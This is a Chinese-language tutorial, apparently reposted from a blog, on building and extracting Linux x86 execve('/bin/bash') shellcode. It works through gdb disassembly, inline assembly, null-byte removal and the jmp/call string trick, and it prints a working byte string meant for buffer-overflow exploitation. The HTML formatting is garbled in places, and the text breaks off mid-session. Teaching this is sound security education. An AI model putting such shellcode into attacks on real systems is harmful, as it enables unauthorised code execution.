shellcode

http://blog.csdn.net/wangxiaolong_china/article/details/6844482

基本shellcode提取方法

这里,我们将编写一个非常简单的shellcode,它的功能是得到一个命令行。我们将从该shellcode的C程序源码开始,逐步构造并提取shellcode。

该shellcode的C程序源码为:

  1. <span style="font-size:18px;">root@linux:~/pentest# cat shellcode.c  
  2. #include <stdio.h>  
  3.   
  4. int main(int argc, char **argv) {  
  5.   
  6.     char *name[2];  
  7.     name[0] = "/bin/bash";  
  8.     name[1] = NULL;  
  9.   
  10.     execve(name[0], name, NULL);  
  11.   
  12.     return 0;  
  13. }  
  14. </span>  


 

为了避免链接干扰,静态编译该shellcode,命令为:

  1. <span style="font-size:18px;">root@linux:~/pentest# gcc -static -g -o shellcode shellcode.c</span>  


 

下面使用gdb调试并分析一下shellcode程序:

  1. <span style="font-size:18px;">root@linux:~/pentest# gdb shellcode  
  2. GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2  
  3. Copyright (C) 2010 Free Software Foundation, Inc.  
  4. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>  
  5. This is free software: you are free to change and redistribute it.  
  6. There is NO WARRANTY, to the extent permitted by law.  Type "show copying"  
  7. and "show warranty" for details.  
  8. This GDB was configured as "i686-linux-gnu".  
  9. For bug reporting instructions, please see:  
  10. <http://www.gnu.org/software/gdb/bugs/>...  
  11. Reading symbols from /root/pentest/shellcode...done.  
  12. (gdb) disass main  
  13. Dump of assembler code for function main:  
  14.    0x080482c0 <+0>:   push   %ebp  
  15.    0x080482c1 <+1>:   mov    %esp,%ebp  
  16.    0x080482c3 <+3>:   and    {1}xfffffff0,%esp  
  17.    0x080482c6 <+6>:   sub    {1}x20,%esp  
  18.    0x080482c9 <+9>:   movl   {1}x80ae428,0x18(%esp)  
  19.    0x080482d1 <+17>:  movl   {1}x0,0x1c(%esp)  
  20.    0x080482d9 <+25>:  mov    0x18(%esp),%eax  
  21.    0x080482dd <+29>:  movl   {1}x0,0x8(%esp)  
  22.    0x080482e5 <+37>:  lea    0x18(%esp),%edx  
  23.    0x080482e9 <+41>:  mov    %edx,0x4(%esp)  
  24.    0x080482ed <+45>:  mov    %eax,(%esp)  
  25.    0x080482f0 <+48>:  call   0x8052f10 <execve>  
  26.    0x080482f5 <+53>:  mov    {1}x0,%eax  
  27.    0x080482fa <+58>:  leave    
  28.    0x080482fb <+59>:  ret      
  29. End of assembler dump.  
  30. </span>  


 

根据程序反汇编得到的代码分析,在call指令执行之前,函数堆栈的使用情况如下图所示:

 

我们用gdb调试运行shellcode,看我们上面的分析是否完全正确。

  1. <span style="font-size:18px;">(gdb) b main  
  2. Breakpoint 1 at 0x80482c9: file shellcode.c, line 6.  
  3. (gdb) b *main+48  
  4. Breakpoint 2 at 0x80482f0: file shellcode.c, line 9.  
  5. (gdb) r  
  6. Starting program: /root/pentest/shellcode   
  7.   
  8. Breakpoint 1, main (argc=1, argv=0xbffff474) at shellcode.c:6  
  9. 6       name[0] = "/bin/bash";  
  10. (gdb) x/s 0x80ae428  
  11. 0x80ae428:   "/bin/bash"  
  12. (gdb) c  
  13. Continuing.  
  14.   
  15. Breakpoint 2, 0x080482f0 in main (argc=1, argv=0xbffff474) at shellcode.c:9  
  16. 9       execve(name[0], name, NULL);  
  17. (gdb) x/4bx $ebp-40  
  18. 0xbffff3b0: 0x28    0xe4    0x0a    0x08  
  19. (gdb) x/4bx $ebp-36  
  20. 0xbffff3b4: 0xc8        0xf3        0xff    0xbf  
  21. (gdb) x/4bx $ebp-32  
  22. 0xbffff3b8: 0x00    0x00    0x00    0x00  
  23. (gdb) x/4bx $ebp-12  
  24. 0xbffff3cc: 0x00    0x00    0x00    0x00  
  25. (gdb) x/4bx $ebp-16  
  26. 0xbffff3c8: 0x28    0xe4    0x0a        0x08  
  27. (gdb)  
  28. </span>  


 

从调试结果看,上面关于call指令前的堆栈的分析是完全正确的。

即main函数的关键在于调用了execve函数,在调试中我们可以看到在调用该函数前将三个参数按照从右往左的顺序依次压入堆栈中。首先压入0x0(即NULL参数),然后是指向0x80ae428的指针,最后压入地址0x80ae428。

接下来,我们反汇编execve函数,看看该函数的功能是如何实现的。

  1. <span style="font-size:18px;">(gdb) disass execve  
  2. Dump of assembler code for function execve:  
  3.    0x08052f10 <+0>:   push   %ebp  
  4.    0x08052f11 <+1>:   mov    %esp,%ebp  
  5.    0x08052f13 <+3>:   mov    0x10(%ebp),%edx  
  6.    0x08052f16 <+6>:   push   %ebx  
  7.    0x08052f17 <+7>:   mov    0xc(%ebp),%ecx  
  8.    0x08052f1a <+10>:  mov    0x8(%ebp),%ebx  
  9.    0x08052f1d <+13>:  mov    {1}xb,%eax  
  10.    0x08052f22 <+18>:  call   *0x80cf098  
  11.    0x08052f28 <+24>:  cmp    {1}xfffff000,%eax  
  12.    0x08052f2d <+29>:  ja     0x8052f32 <execve+34>  
  13.    0x08052f2f <+31>:  pop    %ebx  
  14.    0x08052f30 <+32>:  pop    %ebp  
  15.    0x08052f31 <+33>:  ret      
  16.    0x08052f32 <+34>:  mov    {1}xffffffe8,%edx  
  17.    0x08052f38 <+40>:  neg    %eax  
  18.    0x08052f3a <+42>:  mov    %gs:0x0,%ecx  
  19.    0x08052f41 <+49>:  mov    %eax,(%ecx,%edx,1)  
  20.    0x08052f44 <+52>:  or     {1}xffffffff,%eax  
  21.    0x08052f47 <+55>:  jmp    0x8052f2f <execve+31>  
  22. End of assembler dump.  
  23. </span>  


 

可以看到该函数的核心是“call   *0x80cf098”这条指令。为了查看该call指令具体调用的函数名称,继续调试如下:

  1. <span style="font-size:18px;">(gdb) b *execve+18  
  2. Breakpoint 1 at 0x8052f22  
  3. (gdb) r  
  4. Starting program: /root/pentest/shellcode   
  5.   
  6. Breakpoint 1, 0x08052f22 in execve ()  
  7. (gdb) stepi  
  8. 0x00110414 in __kernel_vsyscall ()  
  9. (gdb) stepi  
  10. process 1870 is executing new program: /bin/bash  
  11. root@linux:/root/pentest# exit  
  12. exit  
  13.   
  14. Program exited normally.  
  15. (gdb)  
  16. </span>  


 

可以看到,该call指令调用了__kernel_vsyscall ()这个内核函数。又因为__kernel_vsyscall的设计目标是代替int 80, 也就是下面两种方式应该是等价的:

  1. <span style="font-size:18px;">    /* int80 */                           /* __kernel_vsyscall */  
  2.      movl </span><pre class="cpp" name="code"><span style="font-size:18px;">{1}</span></pre><br>  
  3. <span style="font-size:18px">_NR_getpid, %eax movl </span><pre class="cpp" name="code"><span style="font-size:18px;">{1}</span></pre><br>  
  4. <span style="font-size:18px">_NR_getpid, %eax int {1}x80 call __kernel_vsyscall /* %eax=getpid() */ /* %eax=getpid() %/</span>  
  5. <pre></pre>  
  6. <p><span style="font-size:18px"> </span></p>  
  7. <p><span style="font-size:18px">同时,我们可以借鉴以前版本gcc编译后反汇编的代码查看execve的实现细节:</span></p>  
  8. <pre class="cpp" name="code"><span style="font-size:18px;">[scz@ /home/scz/src]> gdb shellcode  
  9. GNU gdb 4.17.0.11 with Linux support  
  10. This GDB was configured as "i386-redhat-linux"...  
  11. (gdb) disassemble main <-- -- -- 输入  
  12. Dump of assembler code for function main:  
  13. 0x80481a0 :       pushl  %ebp  
  14. 0x80481a1 :     movl   %esp,%ebp  
  15. 0x80481a3 :     subl   {1}x8,%esp  
  16. 0x80481a6 :     movl   {1}x806f308,0xfffffff8(%ebp)  
  17. 0x80481ad :    movl   {1}x0,0xfffffffc(%ebp)  
  18. 0x80481b4 :    pushl  {1}x0  
  19. 0x80481b6 :    leal   0xfffffff8(%ebp),%eax  
  20. 0x80481b9 :    pushl  %eax  
  21. 0x80481ba :    movl   0xfffffff8(%ebp),%eax  
  22. 0x80481bd :    pushl  %eax  
  23. 0x80481be :    call   0x804b9b0 <__execve>  
  24. 0x80481c3 :    addl   {1}xc,%esp  
  25. 0x80481c6 :    xorl   %eax,%eax  
  26. 0x80481c8 :    jmp    0x80481d0  
  27. 0x80481ca :    leal   0x0(%esi),%esi  
  28. 0x80481d0 :    leave  
  29. 0x80481d1 :    ret  
  30. End of assembler dump.  
  31. (gdb) disas __execve <-- -- -- 输入  
  32. Dump of assembler code for function __execve:  
  33. 0x804b9b0 <__execve>:   pushl  %ebx  
  34. 0x804b9b1 <__execve+1>: movl   0x10(%esp,1),%edx  
  35. 0x804b9b5 <__execve+5>: movl   0xc(%esp,1),%ecx  
  36. 0x804b9b9 <__execve+9>: movl   0x8(%esp,1),%ebx  
  37. 0x804b9bd <__execve+13>:        movl   {1}xb,%eax  
  38. 0x804b9c2 <__execve+18>:        int    {1}x80  
  39. 0x804b9c4 <__execve+20>:        popl   %ebx  
  40. 0x804b9c5 <__execve+21>:        cmpl   {1}xfffff001,%eax  
  41. 0x804b9ca <__execve+26>:        jae    0x804bcb0 <__syscall_error>  
  42. 0x804b9d0 <__execve+32>:        ret  
  43. End of assembler dump.  
  44. </span></pre>  
  45. <p><br>  
  46. <span style="font-size:18px"> </span></p>  
  47. <p><span style="font-size:18px">即,execve的核心是一个软中断int $0x80。接下来,查看一下在软中断之前,各寄存器的内容,及其意义:</span></p>  
  48. <pre class="cpp" name="code"><span style="font-size:18px;">(gdb) disass execve  
  49. Dump of assembler code for function execve:  
  50.    0x08052f10 <+0>:   push   %ebp  
  51.    0x08052f11 <+1>:   mov    %esp,%ebp  
  52.    0x08052f13 <+3>:   mov    0x10(%ebp),%edx  
  53.    0x08052f16 <+6>:   push   %ebx  
  54.    0x08052f17 <+7>:   mov    0xc(%ebp),%ecx  
  55.    0x08052f1a <+10>:  mov    0x8(%ebp),%ebx  
  56.    0x08052f1d <+13>:  mov    {1}xb,%eax  
  57.    0x08052f22 <+18>:  call   *0x80cf098  
  58.    0x08052f28 <+24>:  cmp    {1}xfffff000,%eax  
  59.    0x08052f2d <+29>:  ja     0x8052f32 <execve+34>  
  60.    0x08052f2f <+31>:  pop    %ebx  
  61.    0x08052f30 <+32>:  pop    %ebp  
  62.    0x08052f31 <+33>:  ret      
  63.    0x08052f32 <+34>:  mov    {1}xffffffe8,%edx  
  64.    0x08052f38 <+40>:  neg    %eax  
  65.    0x08052f3a <+42>:  mov    %gs:0x0,%ecx  
  66.    0x08052f41 <+49>:  mov    %eax,(%ecx,%edx,1)  
  67.    0x08052f44 <+52>:  or     {1}xffffffff,%eax  
  68.    0x08052f47 <+55>:  jmp    0x8052f2f <execve+31>  
  69. End of assembler dump.  
  70. (gdb) b *execve+18  
  71. Breakpoint 1 at 0x8052f22  
  72. (gdb) r  
  73. Starting program: /root/pentest/shellcode   
  74.   
  75. Breakpoint 1, 0x08052f22 in execve ()  
  76. (gdb) i r   
  77. eax            0xb  11  
  78. ecx            0xbffff3c8   -1073744952  
  79. edx            0x0  0  
  80. ebx            0x80ae428    134931496  
  81. esp            0xbffff3a4   0xbffff3a4  
  82. ebp            0xbffff3a8   0xbffff3a8  
  83. esi            0x8048a40    134515264  
  84. edi            0xbffff42d   -1073744851  
  85. eip            0x8052f22    0x8052f22 <execve+18>  
  86. eflags         0x282    [ SF IF ]  
  87. cs             0x73 115  
  88. ss             0x7b 123  
  89. ds             0x7b 123  
  90. es             0x7b 123  
  91. fs             0x0  0  
  92. gs             0x33 51  
  93. (gdb) x/x 0xbffff3c8  
  94. 0xbffff3c8:  0x80ae428  
  95. (gdb) x/s 0x80ae428  
  96. 0x80ae428:   "/bin/bash"  
  97. (gdb) c  
  98. Continuing.  
  99. process 1981 is executing new program: /bin/bash  
  100. root@linux:/root/pentest# exit  
  101. exit  
  102.   
  103. Program exited normally.  
  104. (gdb)   
  105. </span></pre>  
  106. <p><br>  
  107. <span style="font-size:18px"> </span></p>  
  108. <p><span style="font-size:18px">可以看到,eax保存execve的系统调用号11,ebx保存name[0](即“/bin/bash”),ecx保存name这个指针,edx保存0(即NULL),这样执行软中断之后,就能得到shell了。接下来,有了以上分析,我们就可以编写自己的shellcode了,同是验证上面分析结果的正确性。</span></p>  
  109. <p><span style="font-size:18px">下面,我们用C语言内嵌汇编的方式,构造shellcode,具体代码如下。有一点要注意,Linux X86默认的字节序是little-endian,所以压栈的字符串要注意顺序。(如“/bin/bash”,其16进制表示为0x2f 0x62 0x69 0x6e 0x2f 0x62 0x61 0x73 0x68,在little-endian模式下,其表示为0x68 0x73 0x61 0x62 0x2f 0x6e 0x69 0x62 0x2f,其中有个小技巧,不足4字节的用0x2f(即“/”)补足)。</span></p>  
  110. <pre class="cpp" name="code"><span style="font-size:18px;">root@linux:~/pentest# cat shellcode_asm.c  
  111. #include <stdio.h>  
  112.   
  113. int main(int argc, char **argv) {  
  114.       
  115.     __asm__  
  116.     ("                \  
  117.          mov {1}x0,%edx;        \  
  118.         push %edx;        \  
  119.         push {1}x68736162;    \  
  120.         push {1}x2f6e6962;    \  
  121.         push {1}x2f2f2f2f;    \  
  122.         mov %esp,%ebx;        \  
  123.         push %edx;       \  
  124.         push %ebx;        \  
  125.         mov %esp,%ecx;        \  
  126.         mov {1}xb,%eax;        \  
  127.         int {1}x80;        \  
  128.      ");  
  129.   
  130.     return 0;  
  131. }  
  132. root@linux:~/pentest# gcc -g -o shellcode_asm shellcode_asm.c  
  133. root@linux:~/pentest# ./shellcode_asm   
  134. root@linux:/root/pentest# exit  
  135. exit  
  136. root@linux:~/pentest#  
  137. </span></pre>  
  138. <p><br>  
  139. <span style="font-size:18px"> </span></p>  
  140. <p><span style="font-size:18px">通过编译执行,我们成功的得到了shell命令行。在编写内嵌汇编时,一定要注意格式问题;当然,最重要的是在执行软中断前一定要使各寄存器的值符合我们之前分析的结果。</span></p>  
  141. <p><span style="font-size:18px">此时,编写工作还没有完结,要记住我们的最终目的是得到ShellCode,也就是一串汇编指令;而对于strcpy等函数造成的缓冲区溢出攻击,会认为0是一个字符串的终结,那么ShellCode如果包含0就会被截断,导致溢出失败。</span></p>  
  142. <p><span style="font-size:18px">用objdump反汇编这个shellcode,并查看是否包含0,命令为:</span></p>  
  143. <pre class="cpp" name="code"><span style="font-size:18px;">objdump –d shellcode_asm | less</span></pre>  
  144. <p><br>  
  145. <span style="font-size:18px"> </span></p>  
  146. <p><span style="font-size:18px">该命令将会反汇编所有包含机器指令的section,请自行找到main段:</span></p>  
  147. <pre class="cpp" name="code"><span style="font-size:18px;">08048394 <main>:  
  148.  8048394:    55                       push   %ebp  
  149.  8048395:    89 e5                   mov    %esp,%ebp  
  150.  8048397:    ba 00 00 00 00      mov    {1}x0,%edx  
  151.  804839c:    52                       push   %edx  
  152.  804839d:    68 62 61 73 68      push  {1}x68736162  
  153.  80483a2:    68 62 69 6e 2f       push   {1}x2f6e6962  
  154.  80483a7:    68 2f 2f 2f 2f        push   {1}x2f2f2f2f  
  155.  80483ac:    89 e3                    mov    %esp,%ebx  
  156.  80483ae:    52                        push   %edx  
  157.  80483af:    53                        push   %ebx  
  158.  80483b0:    89 e1                    mov    %esp,%ecx  
  159.  80483b2:    b8 0b 00 00 00       mov    {1}xb,%eax  
  160.  80483b7:    cd 80                    int    {1}x80  
  161.  80483b9:    b8 00 00 00 00       mov    {1}x0,%eax  
  162.  80483be:    5d                        pop    %ebp  
  163.  80483bf:    c3                        ret    
  164. </span></pre>  
  165. <p><br>  
  166. <span style="font-size:18px"> </span></p>  
  167. <p><span style="font-size:18px">从反汇编结果可以看到,有两条指令“mov    $0x0,%edx”和“mov    $0xb,%eax”包含0,需要变通一下。我们分别使用“x0r %edx,%edx”和“lea 0xb(%edx),%eax”来替换。</span></p>  
  168. <pre class="cpp" name="code"><span style="font-size:18px;">root@linux:~/pentest# cat shellcode_asm.c  
  169. #include <stdio.h>  
  170.   
  171. int main(int argc, char **argv) {  
  172.       
  173.     __asm__  
  174.     ("                \  
  175.          xor %edx,%edx;        \  
  176.         push %edx;        \  
  177.         push {1}x68736162;    \  
  178.         push {1}x2f6e6962;    \  
  179.         push {1}x2f2f2f2f;    \  
  180.         mov %esp,%ebx;        \  
  181.         push %edx;       \  
  182.         push %ebx;        \  
  183.         mov %esp,%ecx;        \  
  184.         lea 0xb(%edx),%eax;    \  
  185.         int {1}x80;        \  
  186.      ");  
  187.   
  188.     return 0;  
  189. }  
  190. root@linux:~/pentest# gcc -g -o shellcode_asm shellcode_asm.c  
  191. root@linux:~/pentest# ./shellcode_asm   
  192. root@linux:/root/pentest# exit  
  193. exit  
  194. root@linux:~/pentest#  
  195. </span></pre>  
  196. <p><br>  
  197. <span style="font-size:18px"> </span></p>  
  198. <p><span style="font-size:18px">运行没有问题,再看看这个shellcode有没有包含0:</span></p>  
  199. <pre class="cpp" name="code"><span style="font-size:18px;">08048394 <main>:  
  200.  8048394:    55                           push   %ebp  
  201.  8048395:    89 e5                       mov    %esp,%ebp  
  202.  8048397:    31 d2                       xor    %edx,%edx  
  203.  8048399:    52                           push   %edx  
  204.  804839a:    68 62 61 73 68           push   {1}x68736162  
  205.  804839f:    68 62 69 6e 2f            push   {1}x2f6e6962  
  206.  80483a4:    68 2f 2f 2f 2f             push   {1}x2f2f2f2f  
  207.  80483a9:    89 e3                        mov    %esp,%ebx  
  208.  80483ab:   52                             push   %edx  
  209.  80483ac:    53                            push   %ebx  
  210.  80483ad:    89 e1                        mov    %esp,%ecx  
  211.  80483af:    8d 42 0b                    lea    0xb(%edx),%eax  
  212.  80483b2:    cd 80                        int    {1}x80  
  213.  80483b4:    b8 00 00 00 00            mov    {1}x0,%eax  
  214.  80483b9:    5d                            pop    %ebp  
  215.  80483ba:    c3                            ret      
  216.  80483bb:    90                            nop  
  217.  80483bc:    90                            nop  
  218.  80483bd:    90                            nop  
  219.  80483be:    90                            nop  
  220.  80483bf:    90                       nop  
  221. </span></pre>  
  222. <p><br>  
  223. <span style="font-size:18px"> </span></p>  
  224. <p><span style="font-size:18px">可以看到,所有曾经出现0的指令,在进行指令替换之后,所有的0全部消除了。注意,我们只提取嵌入汇编部分的指令的二进制代码作为我们的shellcode使用,即从0x8048397到0x80483b2地址之间的指令。</span></p>  
  225. <p><span style="font-size:18px">即,我们生成的shellcode为:</span></p>  
  226. <p><span style="font-size:18px">\x31\xd2\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80</span></p>  
  227. <pre class="cpp" name="code"><span style="font-size:18px;">root@linux:~/pentest# cat test_shellcode.c  
  228. #include <stdio.h>  
  229.   
  230. char shellcode[] =   
  231. "\x31\xd2\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f"  
  232. "\x2f\x2f\x2f\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";  
  233.   
  234. int main(int argc, char **argv) {  
  235.     __asm__  
  236.     ("                \  
  237.         call shellcode;        \  
  238.      ");  
  239. }  
  240. root@linux:~/pentest# gcc -g -o test_shellcode test_shellcode.c  
  241. root@linux:~/pentest# ./test_shellcode   
  242. Segmentation fault  
  243. root@linux:~/pentest# gcc -z execstack -g -o test_shellcode test_shellcode.c  
  244. root@linux:~/pentest# ./test_shellcode   
  245. root@linux:/root/pentest# exit  
  246. exit  
  247. root@linux:~/pentest#  
  248. </span></pre>  
  249. <p><br>  
  250. <span style="font-size:18px"> </span></p>  
  251. <p><span style="font-size:18px">可以看到,shellcode提取成功!</span></p>  
  252. <p><span style="font-size:18px"> </span></p>  
  253. <p><br>  
  254. <span style="font-size:18px"> </span></p>  
  255. <p><span style="font-size:18px"> </span></p>  
  256. <pre></pre>  
  257. <span style="font-size:18px"></span>  
  258. <pre></pre>  
  259. <pre></pre>  
  260. <pre></pre>  
  261. <pre></pre>  

接下来,我们将在上文的基础上,进一步完善shellcode的提取。

 

前面关于main和execve的分析,同“基本shellcode提取方法”中相应部分的讲解。

如果execve()调用失败的话,程序将会继续从堆栈中获取指令并执行,而此时堆栈中的数据时随机的,通常这个程序会core dump。如果我们希望在execve()调用失败时,程序仍然能够正常退出,那么我们就必须在execve()调用之后增加一个exit系统调用。它的C语言程序如下:

  1. <span style="font-size:18px;">root@linux:~/pentest# cat shellcode_exit.c  
  2. #include <stdio.h>  
  3. #include <stdlib.h>  
  4.   
  5. int main(int argc, char **argv) {  
  6.     exit(0);  
  7. }  
  8. root@linux:~/pentest# gdb shellcode_exit  
  9. GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2  
  10. Copyright (C) 2010 Free Software Foundation, Inc.  
  11. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>  
  12. This is free software: you are free to change and redistribute it.  
  13. There is NO WARRANTY, to the extent permitted by law.  Type "show copying"  
  14. and "show warranty" for details.  
  15. This GDB was configured as "i686-linux-gnu".  
  16. For bug reporting instructions, please see:  
  17. <http://www.gnu.org/software/gdb/bugs/>...  
  18. Reading symbols from /root/pentest/shellcode_exit...done.  
  19. (gdb) disass exit  
  20. Dump of assembler code for function exit@plt:  
  21.    0x080482f0 <+0>:    jmp    *0x804a008  
  22.    0x080482f6 <+6>:    push   {1}x10  
  23.    0x080482fb <+11>:    jmp    0x80482c0  
  24. End of assembler dump.  
  25. (gdb)  
  26. </span>  


 

通过gdb反汇编可以看到现在的gcc编译器向我们隐藏了exit系统调用的实现细节。但是,通过翻阅以前版本gdb反汇编信息,仍然可以得到exit系统调用的实现细节。

  1. <span style="font-size:18px;">[scz@ /home/scz/src]> gdb shellcode_exit  
  2. GNU gdb 4.17.0.11 with Linux support  
  3. This GDB was configured as "i386-redhat-linux"...  
  4. (gdb) disas _exit   
  5. Dump of assembler code for function _exit:  
  6. 0x804b970 <_exit>:      movl   %ebx,%edx  
  7. 0x804b972 <_exit+2>:    movl   0x4(%esp,1),%ebx  
  8. 0x804b976 <_exit+6>:    movl   {1}x1,%eax  
  9. 0x804b97b <_exit+11>:   int    {1}x80  
  10. 0x804b97d <_exit+13>:   movl   %edx,%ebx  
  11. 0x804b97f <_exit+15>:   cmpl   {1}xfffff001,%eax  
  12. 0x804b984 <_exit+20>:   jae    0x804bc60 <__syscall_error>  
  13. End of assembler dump.  
  14. </span>  


 

我们可以看到,exit系统调用将0x1放入到eax中(它是syscall的索引值),同时将退出码放入到ebx中(大部分程序正常退出时的返回值是0),然后执行“int 0x80”系统调用。

其实,到目前为止,我们要构造shellcode,但是我们并不知道我们要放置的字符串在内存中的确切位置。在3.1节中,我们采用将字符串压栈的方式获得字符串起始地址。在这一节中,我们将给出一种确定字符串起始地址的设计方案。该方案采用的是jmp和call指令。由于jmp和call指令都可以采用eip相对寻址,也就是说,我们可以从当前运行的地址跳到一个偏移地址处执行,而不必知道这个地址的确切地址值。如果我们将call指令放在“/bin/bash”字符串前,然后jmp到call指令的位置,那么当call指令被执行时,它会首先将下一个要执行的指令的地址(也就是字符串的起始地址)压入堆栈。这样就可以获得字符串的起始地址。然后我们可以让call指令调用我们的shellcode的第一条指令,然后将返回地址(字符串起始地址)从堆栈中弹出到某个寄存器中。

我们要构造的shellcode的执行流程如下图所示:

Shellcode执行流程解析:

RET覆盖返回地址eip之后,子函数返回时将跳转到我们的shellcode的起始地址处执行。由于shellcode起始地址处是一条jmp指令,它直接跳到了我们的call指令处执行。call指令先将返回地址(“/bin/bash”字符串地址)压栈之后,跳转到jmp指令下一地址处指令继续执行。这样就可以获取到字符串的地址。

即:

  1. <span style="font-size:18px;">Beginning_of_shellcode:  
  2. jmp subroutine_call  
  3. subroutine:  
  4. popl %esi  
  5. ……  
  6. (shellcode itself)  
  7. ……  
  8. subroutine_call:  
  9. call subroutine  
  10. /bin/sh  
  11. </span>  


 

下面,我们用C语言内嵌汇编的方式,构造shellcode。

  1. <span style="font-size:18px;">root@linux:~/pentest# cat shellcode_asm.c  
  2. #include <stdio.h>  
  3.   
  4. int main(int argc, char **argv) {  
  5.   
  6.     __asm__  
  7.     ("                \  
  8.          jmp subroutine_call;    \  
  9.     subroutine:            \  
  10.         popl %esi;        \  
  11.         movl %esi,0x8(%esi);    \  
  12.         movl {1}x0,0xc(%esi);    \  
  13.         movb {1}x0,0x7(%esi);    \  
  14.         movl {1}xb,%eax;       \  
  15.         movl %esi,%ebx;        \  
  16.         leal 0x8(%esi),%ecx;    \  
  17.         leal 0xc(%esi),%edx;    \  
  18.         int {1}x80;        \  
  19.         movl {1}x0,%ebx;        \  
  20.         movl {1}x1,%eax;        \  
  21.         int {1}x80;        \  
  22.     subroutine_call:        \  
  23.         call subroutine;    \  
  24.         .string \"/bin/sh\";    \  
  25.      ");  
  26.   
  27.     return 0;  
  28. }  
  29.   
  30. root@linux:~/pentest# objdump -d shellcode_asm  
  31.   
  32. 08048394 <main>:  
  33.  8048394:    55                       push   %ebp  
  34.  8048395:    89 e5                    mov    %esp,%ebp  
  35.  8048397:    eb 2a                    jmp    80483c3 <subroutine_call>  
  36.   
  37. 08048399 <subroutine>:  
  38.  8048399:    5e                           pop    %esi  
  39.  804839a:    89 76 08                   mov    %esi,0x8(%esi)  
  40.  804839d:    c7 46 0c 00 00 00 00     movl   {1}x0,0xc(%esi)  
  41.  80483a4:    c6 46 07 00               movb   {1}x0,0x7(%esi)  
  42.  80483a8:    b8 0b 00 00 00           mov    {1}xb,%eax  
  43.  80483ad:    89 f3                       mov    %esi,%ebx  
  44.  80483af:    8d 4e 08                   lea    0x8(%esi),%ecx  
  45.  80483b2:    8d 56 0c                   lea    0xc(%esi),%edx  
  46.  80483b5:    cd 80                       int    {1}x80  
  47.  80483b7:    bb 00 00 00 00           mov    {1}x0,%ebx  
  48.  80483bc:    b8 01 00 00 00           mov    {1}x1,%eax  
  49.  80483c1:    cd 80                       int    {1}x80  
  50.   
  51. 080483c3 <subroutine_call>:  
  52.  80483c3:    e8 d1 ff ff ff           call   8048399 <subroutine>  
  53.  80483c8:    2f                         das      
  54.  80483c9:    62 69 6e                 bound  %ebp,0x6e(%ecx)  
  55.  80483cc:    2f                         das      
  56.  80483cd:    73 68                jae    8048437 <__libc_csu_init+0x57>  
  57.  80483cf:    00 b8 00 00 00 00        add    %bh,0x0(%eax)  
  58.  80483d5:   5d                         pop    %ebp  
  59.  80483d6:    c3                       ret      
  60.  80483d7:    90                       nop  
  61.  80483d8:    90                       nop  
  62.  80483d9:    90                       nop  
  63.  80483da:    90                       nop  
  64.  80483db:    90                       nop  
  65.  80483dc:    90                       nop  
  66.  80483dd:    90                       nop  
  67.  80483de:    90                       nop  
  68.  80483df:    90                       nop  
  69. </span>  


 

替换掉shellcode中含有的Null字节的指令:

含有Null字节的指令

替代指令

movl $0x0,0xc(%esi)

movb $0x0,0x7(%esi)

xorl %eax,%eax

movl %eax,0xc(%esi)

movb %al,0x7(%esi)

movl $0xb,%eax

xorl %eax,%eax

movb $0xb,%al

movl $0x1,%eax

movl $0x0,%ebx

xorl %ebx,%ebx

iovl %ebx,%eax

inc %eax

修改后的代码和反汇编结果如下:

  1. <span style="font-size:18px;">root@linux:~/pentest# cat shellcode_asm.c  
  2. #include <stdio.h>  
  3.   
  4. int main(int argc, char **argv) {  
  5.   
  6.     __asm__  
  7.     ("                \  
  8.          jmp subroutine_call;    \  
  9.     subroutine:            \  
  10.         popl %esi;        \  
  11.         movl %esi,0x8(%esi);    \  
  12.         xorl %eax,%eax;        \  
  13.         movl %eax,0xc(%esi);    \  
  14.         movb %al,0x7(%esi);    \  
  15.        movb {1}xb,%al;        \  
  16.         movl %esi,%ebx;        \  
  17.         leal 0x8(%esi),%ecx;    \  
  18.         leal 0xc(%esi),%edx;    \  
  19.         int {1}x80;        \  
  20.         xorl %ebx,%ebx;        \  
  21.         movl %ebx,%eax;        \  
  22.         inc %eax;        \  
  23.         int {1}x80;        \  
  24.     subroutine_call:        \  
  25.         call subroutine;   \  
  26.         .string \"/bin/sh\";    \  
  27.      ");  
  28.   
  29.     return 0;  
  30. }  
  31. root@linux:~/pentest# gcc -g -o shellcode_asm shellcode_asm.c  
  32. root@linux:~/pentest# objdump -d shellcode_asm  
  33. 08048394 <main>:  
  34.  8048394:    55                       push   %ebp  
  35.  8048395:    89 e5                    mov    %esp,%ebp  
  36.  8048397:    eb 1f                    jmp    80483b8 <subroutine_call>  
  37.   
  38. 08048399 <subroutine>:  
  39.  8048399:    5e                       pop    %esi  
  40.  804839a:    89 76 08                 mov    %esi,0x8(%esi)  
  41.  804839d:    31 c0                    xor    %eax,%eax  
  42.  804839f:    89 46 0c                 mov    %eax,0xc(%esi)  
  43.  80483a2:    88 46 07                 mov    %al,0x7(%esi)  
  44.  80483a5:    b0 0b                    mov    {1}xb,%al  
  45.  80483a7:    89 f3                   mov    %esi,%ebx  
  46.  80483a9:    8d 4e 08                 lea    0x8(%esi),%ecx  
  47.  80483ac:    8d 56 0c                 lea    0xc(%esi),%edx  
  48.  80483af:    cd 80                    int    {1}x80  
  49.  80483b1:    31 db                    xor    %ebx,%ebx  
  50.  80483b3:    89 d8                    mov   %ebx,%eax  
  51.  80483b5:    40                       inc    %eax  
  52.  80483b6:    cd 80                    int    {1}x80  
  53.   
  54. 080483b8 <subroutine_call>:  
  55.  80483b8:    e8 dc ff ff ff           call   8048399 <subroutine>  
  56.  80483bd:    2f                       das      
  57.  80483be:    62 69 6e                 bound  %ebp,0x6e(%ecx)  
  58.  80483c1:   2f                       das      
  59.  80483c2:    73 68                    jae    804842c <__libc_csu_init+0x5c>  
  60.  80483c4:    00 b8 00 00 00 00        add    %bh,0x0(%eax)  
  61.  80483ca:    5d                       pop    %ebp  
  62.  80483cb:    c3                       ret      
  63.  80483cc:   90                       nop  
  64.  80483cd:    90                       nop  
  65.  80483ce:    90                       nop  
  66.  80483cf:    90                       nop  
  67. root@linux:~/pentest# gdb shellcode_asm  
  68. (gdb) b main  
  69. Breakpoint 1 at 0x8048397: file shellcode_asm.c, line 5.  
  70. (gdb) r  
